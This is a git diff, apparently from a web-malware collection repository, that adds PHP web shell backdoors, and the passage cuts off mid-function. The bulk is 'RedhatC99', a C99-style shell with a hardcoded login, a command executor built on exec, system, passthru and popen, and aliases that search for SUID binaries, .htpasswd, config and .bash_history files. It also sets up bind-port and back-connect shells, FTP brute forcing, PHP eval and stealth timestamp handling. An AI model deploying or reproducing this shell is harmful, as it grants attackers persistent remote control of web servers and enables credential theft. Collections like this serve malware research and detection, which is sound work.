'</b>&quot', $words['readingerror'])); + } + if ($inaframe) { + pnotice("<a href=\"$self?action=treeoff&" . SID . '" target="_top">' . $words['treeoff'] . '</a>'); + } else { + pnotice("<a href=\"$self?action=treeon&" . SID . '" target="_top">' . $words['treeon'] . '</a>'); + } + html_footer(FALSE); + return; +} + +function dirtoarray ($dir) { + if ($dirstream = @opendir($dir)) { + for ($n = 0; ($filename = readdir($dirstream)) !== FALSE; $n++) { + $stat = @lstat($dir . $filename); + $files[$n]['filename'] = $filename; + $files[$n]['fullfilename'] = $fullfilename = relpathtoabspath($filename, $dir); + $files[$n]['is_file'] = @is_file($fullfilename); + $files[$n]['is_dir'] = @is_dir($fullfilename); + $files[$n]['is_link'] = $islink = @is_link($dir . $filename); + if ($islink) { + $files[$n]['readlink'] = @readlink($dir . $filename); + $files[$n]['linkinfo'] = linkinfo($dir . $filename); + } + $files[$n]['is_readable'] = @is_readable($fullfilename); + $files[$n]['is_writable'] = @is_writable($fullfilename); + $files[$n]['is_executable'] = @is_executable($fullfilename); + $files[$n]['permission'] = $islink ? 'lrwxrwxrwx' : octtostr(@fileperms($dir . $filename)); + if (substr($files[$n]['permission'], 0, 1) != '-') { + $files[$n]['size'] = -1; + } else { + $files[$n]['size'] = @$stat['size']; + $GLOBALS['showsize'] = TRUE; + } + $files[$n]['owner'] = $owner = @$stat['uid']; + $files[$n]['group'] = $group = @$stat['gid']; + $files[$n]['ownername'] = @reset(posix_getpwuid($owner)); + $files[$n]['groupname'] = @reset(posix_getgrgid($group)); + } + closedir($dirstream); + return $files; + } else { + return FALSE; + } +} + +function outputdirlisting ($dir, $files, $inaframe, $sort, $reverse) { + global $self, $words; + $uid = posix_getuid(); +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> +<?php + if ($inaframe) $p = '&notreeupdate=TRUE&'; $p = ''; $p .= SID . '&dir=' . urlencode($dir); + echo(" <tr>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><img src=\"$self?imageid=16\" width=\"17\" height=\"13\"></td>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=filename&reverse=" . (($sort == 'filename') ? !$reverse : 0) . "&$p\"><b>{$words['filename']}</b></a></td>\n"); + if ($GLOBALS['showsize']) echo(" <td bgcolor=\"#EEEEEE\" align=\"right\"><a href=\"$self?sort=size&reverse=" . (($sort == 'size') ? !$reverse : 0) . "&$p\"><b>{$words['size']}</b></a></td>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=permission&reverse=" . (($sort == 'permission') ? !$reverse : 0) . "&$p\"><b>{$words['permission']}</b></a></td>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=owner&reverse=" . (($sort == 'owner') ? !$reverse : 0) . "&$p\"><b>{$words['owner']}</b></a></td>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=group&reverse=" . (($sort == 'group') ? !$reverse : 0) . "&$p\"><b>{$words['group']}</b></a></td>\n"); + echo(" <td bgcolor=\"#EEEEEE\"><b>{$words['functions']}</b></td>\n"); + echo(" </tr>\n"); + $p = '&' . SID; + if ($GLOBALS['showsize']) $cspan = ' colspan="2"'; else $cspan = ''; + foreach ($files as $file) { + echo(" <tr>\n"); + if ($file['is_link']) { + echo(" <td bgcolor=\"#FFFFFF\" align=\"center\"><img src=\"$self?imageid=14\" width=\"17\" height=\"13\"></td>\n"); + echo(" <td$cspan bgcolor=\"#FFFFFF\">"); + if ($file['is_dir']) echo('[ '); + echo($file['filename']); + if ($file['is_dir']) echo(' ]'); + echo(' -&gt; '); + if ($file['is_dir']) { + echo('[ '); + if ($file['is_readable']) echo("<a href=\"$self?dir=" . urlencode($file['readlink']) . "$p\">"); + echo(htmlentities($file['readlink'])); + if ($file['is_readable']) echo('</a>'); + echo(' ]'); + } else { + if (dirname($file['readlink']) != '.') { + if ($file['is_readable']) echo("<a href=\"$self?dir=" . urlencode(dirname($file['readlink'])) . "$p\">"); + echo(htmlentities(dirname($file['readlink'])) . '/'); + if ($file['is_readable']) echo('</a>'); + } + if (strlen(basename($file['readlink'])) != 0) { + if ($file['is_file'] && $file['is_readable']) echo("<a href=\"$self?show=" . urlencode($file['readlink']) . "$p\">"); + echo(htmlentities(basename($file['readlink']))); + if ($file['is_file'] && $file['is_readable']) echo('</a>'); + } + if ($file['is_file'] && is_script($file['readlink'])) echo(" <a href=\"$self?showh=" . urlencode($file['readlink']) . "$p\">*</a>"); + } + echo("</td>\n"); + } elseif ($file['is_dir']) { + echo(" <td bgcolor=\"#FFFFFF\" align=\"center\"><img src=\"$self?imageid=15\" width=\"17\" height=\"13\"></td>\n"); + echo(" <td$cspan bgcolor=\"#FFFFFF\">[ "); + if ($file['is_readable']) echo("<a href=\"$self?dir=" . urlencode($file['fullfilename']) . "$p\">"); + echo(htmlentities($file['filename'])); + if ($file['is_readable']) echo('</a>'); + echo(" ]</td>\n"); + } else { + echo(" <td bgcolor=\"#FFFFFF\" align=\"center\"><img src=\"$self?imageid="); + if (substr($file['filename'], 0, 1) == '.') echo('13'); else echo('12'); + echo("\" width=\"17\" height=\"13\"></td>\n"); + echo(' <td'); + if (substr($file['permission'], 0, 1) != '-') echo($cspan); + echo(' bgcolor="#FFFFFF">'); + if ($file['is_readable'] && $file['is_file']) echo("<a href=\"$self?show=" . urlencode($file['fullfilename']) . "$p\">"); + echo(htmlentities($file['filename'])); + if ($file['is_readable'] && $file['is_file']) echo('</a>'); + if ($file['is_file'] && is_script($file['filename'])) echo(" <a href=\"$self?showh=" . urlencode($file['fullfilename']) . "$p\">*</a>"); + echo("</td>\n"); + if ($GLOBALS['showsize'] && $file['is_file']) { + echo(" <td bgcolor=\"#FFFFFF\" align=\"right\" nowrap>"); + if ($file['is_file']) echo("{$file['size']} B"); + echo("</td>\n"); + } + } + echo(' <td bgcolor="#FFFFFF" class="perm">'); + if ($uid == $file['owner'] && !$file['is_link']) echo("<a href=\"$self?permission=" . urlencode($file['fullfilename']) . "$p\">"); + echo($file['permission']); + if ($uid == $file['owner'] && !$file['is_link']) echo('</a>'); + echo("</td>\n"); + $owner = ($file['ownername'] == NULL) ? $file['owner'] : $file['ownername']; + $group = ($file['groupname'] == NULL) ? $file['group'] : $file['groupname']; + echo(' <td bgcolor="#FFFFFF">' . $owner . "</td>\n"); + echo(' <td bgcolor="#FFFFFF">' . $group . "</td>\n"); + $f = "<a href=\"$self?symlinktarget=" . urlencode($dir . $file['filename']). "$p\">{$words['createsymlink']}</a> | ";; + if ($file['filename'] != '.' && $file['filename'] != '..') { + if ($file['is_readable'] && $file['is_file']) { + $f .= "<a href=\"$self?cpy=" . urlencode($file['fullfilename']). "$p\">{$words['copy']}</a> | "; + } + if ($uid == $file['owner']) { + $f .= "<a href=\"$self?move=" . urlencode($file['fullfilename']) . "$p\">{$words['move']}</a> | "; + $f .= "<a href=\"$self?delete=" . urlencode($dir . $file['filename']). "$p\">{$words['delete']}</a> | "; + } + if ($file['is_writable'] && $file['is_file']) { + $f .= "<a href=\"$self?edit=" . urlencode($file['fullfilename']) . "$p\">{$words['edit']}</a> | "; + } + } + if ($file['is_dir'] && @is_file($file['fullfilename'] . '.htaccess') && @is_writable($file['fullfilename'] . '.htaccess')) { + $f .= "<a href=\"$self?edit=" . urlencode($file['fullfilename']) . '.htaccess' . "$p\">{$words['configure']}</a> | "; + } + if (!empty($f)) $f = substr($f, 0, strlen($f) - 3); else $f = '&nbsp;'; + echo(" <td bgcolor=\"#FFFFFF\" nowrap>$f</td>\n"); + echo(" </tr>\n"); + } +?> + </table> + </td></tr></table> + </p> +<?php + return; +} + +function sortfiles ($files, $sort, $reverse) { + $files = sortfield($files, $sort, $reverse, 0, sizeof($files) - 1); + if ($sort != 'filename') { + $old = $files[0][$sort]; $oldpos = 0; + for ($i = 1; $i < sizeof($files); $i++) { + if ($old != $files[$i][$sort]) { + if ($oldpos != ($i - 1)) $files = sortfield($files, 'filename', false, $oldpos, $i - 1); + $oldpos = $i; + } + $old = $files[$i][$sort]; + } + if ($oldpos < ($i - 1)) $files = sortfield($files, 'filename', false, $oldpos, $i - 1); + } + return $files; +} + +function octtostr ($mode) { + if (($mode & 0xC000) === 0xC000) $type = 's'; /* Unix domain socket */ + elseif (($mode & 0x4000) === 0x4000) $type = 'd'; /* Directory */ + elseif (($mode & 0xA000) === 0xA000) $type = 'l'; /* Symbolic link */ + elseif (($mode & 0x8000) === 0x8000) $type = '-'; /* Regular file */ + elseif (($mode & 0x6000) === 0x6000) $type = 'b'; /* Block special file */ + elseif (($mode & 0x2000) === 0x2000) $type = 'c'; /* Character special file */ + elseif (($mode & 0x1000) === 0x1000) $type = 'p'; /* Named pipe */ + else $type = '?'; /* Unknown */ + $owner = ($mode & 00400) ? 'r' : '-'; + $owner .= ($mode & 00200) ? 'w' : '-'; + if ($mode & 0x800) $owner .= ($mode & 00100) ? 's' : 'S'; else $owner .= ($mode & 00100) ? 'x' : '-'; + $group = ($mode & 00040) ? 'r' : '-'; + $group .= ($mode & 00020) ? 'w' : '-'; + if ($mode & 0x400) $group .= ($mode & 00010) ? 's' : 'S'; else $group .= ($mode & 00010) ? 'x' : '-'; + $other = ($mode & 00004) ? 'r' : '-'; + $other .= ($mode & 00002) ? 'w' : '-'; + if ($mode & 0x200) $other .= ($mode & 00001) ? 't' : 'T'; else $other .= ($mode & 00001) ? 'x' : '-'; + return $type . $owner . $group . $other; +} + +function sortfield ($field, $column, $reverse, $left, $right){ + $g = $field[(int) (($left + $right) / 2)][$column]; + $l = $left; $r = $right; + while ($l <= $r) { + if ($reverse) { + while (($l < $right) && ($field[$l][$column] > $g)) $l++; + while (($r > $left) && ($field[$r][$column] < $g)) $r--; + } else { + while (($l < $right) && ($field[$l][$column] < $g)) $l++; + while (($r > $left) && ($field[$r][$column] > $g)) $r--; + } + if ($l < $r) { + $tmp = $field[$r]; + $field[$r] = $field[$l]; + $field[$l] = $tmp; + $r--; + $l++; + } else { + $l++; + } + } + if ($r > $left) $field = sortfield($field, $column, $reverse, $left, $r); + if ($r + 1 < $right) $field = sortfield($field, $column, $reverse, $r + 1, $right); + return $field; +} + +function buildphrase ($repl, $str) { + if (!is_array($repl)) $repl = array($repl); + $newstr = ''; $prevz = ' '; + for ($i = 0; $i < strlen($str); $i++) { + $z = substr($str, $i, 1); + if (((int) $z) > 0 && ((int) $z) <= count($repl) && $prevz == ' ') $newstr .= $repl[((int) $z) - 1]; else $newstr .= $z; + $prevz = $z; + } + return $newstr; +} + +function html_header ($action) { + global $self; + global $error, $notice, $updatetreeview; +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> +<html> +<head> + <title><?php echo("$self - $action"); ?></title> + <style type="text/css"> + <!-- + td { font-family: sans-serif; font-size: 10pt; } + a:link, a:visited, a:active { text-decoration: none; color: #000088; } + a:hover { text-decoration: underline; color: #000088; } + .perm { font-family: monospace; font-size: 10pt; } + --> + </style> +<?php + if (isset($_REQUEST['edit']) && !isset($_POST['save']) && basename($edit = $_REQUEST['edit']) == '.htaccess') { + $file = dirname($edit) . '/.htpasswd'; +?> + <script type="text/javascript" language="JavaScript"> + <!-- + function autheinf () { + document.f.content.value += "Authtype Basic\nAuthName \"Restricted Directory\"\n"; + document.f.content.value += "AuthUserFile <?php echo(htmlentities($file)); ?>\n"; + document.f.content.value += "Require valid-user"; + } + //--> + </script> +<?php + } +?> +</head> +<body bgcolor="#FFFFFF"<?php if ($updatetreeview && !empty($_SESSION['tree'])) echo(" '$self?frame=treeview&dir=" . urlencode($_SESSION['dir']) . '&' . SID . '&pmru=' . time() . '#' . urlencode($_SESSION['dir']) . "'))\""); ?>> +<?php + if (!empty($error)) perror($error); + if (!empty($notice)) pnotice($notice); + return; +} + +function html_footer ($backbutton = TRUE) { + global $self, $words; + if ($backbutton) { +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"><tr><td bgcolor="#EEEEEE"> + <a href="<?php echo("$self?id=". $_REQUEST['id']); ?>"><?php echo($words['back']); ?></a> + </td></tr></table> + </td></tr></table> + </p> +<?php + } +?> +</body> +</html> +<?php + return; +} + +function perror ($str) { +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"><tr><td bgcolor="#FFCCCC"> + <?php echo("$str\n"); ?> + </td></tr></table> + </td></tr></table> + </p> +<?php + return; +} + +function pnotice ($str) { +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"><tr><td bgcolor="#CCFFCC"> + <?php echo("$str\n"); ?> + </td></tr></table> + </td></tr></table> + </p> +<?php + return; +} + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/RedhatC99 [login=redhat-pass=root] b/web-malware-collection-master/Backdoors/PHP/RedhatC99 [login=redhat-pass=root] new file mode 100755 index 0000000..e032b6d --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/RedhatC99 [login=redhat-pass=root] @@ -0,0 +1,2652 @@ +<?php +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "sh99 -17 By redhat"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = "redhat"; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = "root"; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "redhat v.".$shver."</a>: access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>donated_html</b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "redhat@w.cn"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<hr><b>[Home]</b>",$surl), + array("<b>[Back]</b>","#\" onclick=\"history.back(1)"), + array("<b>[Forward]</b>","#\" onclick=\"history.go(1)"), + array("<b>[UPDIR]</b>",$surl."act=ls&d=%upd&sort=%sort"), + array("<b>[Refresh]</b>",""), + array("<b>[Search]</b>",$surl."act=search&d=%d"), + array("<b>[Buffer]</b>",$surl."act=fsbuff&d=%d"), + array("<b>[Encoder]</b></b>",$surl."act=encoder&d=%d"), + array("<b>[Tools]</b>",$surl."act=tools&d=%d"), + array("<b>[Proc.]</b>",$surl."act=processes&d=%d"), + array("<b>[FTP brute]</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>[Sec.]</b>",$surl."act=security&d=%d"), + array("<b>[SQL]</b>",$surl."act=sql&d=%d"), + array("<b>[PHP-code]</b>",$surl."act=eval&d=%d"), + array("<b>[Self remove]</b>",$surl."act=selfremove"), + array("<b>[Logout]</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit(": Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"redhat ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img"){ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == 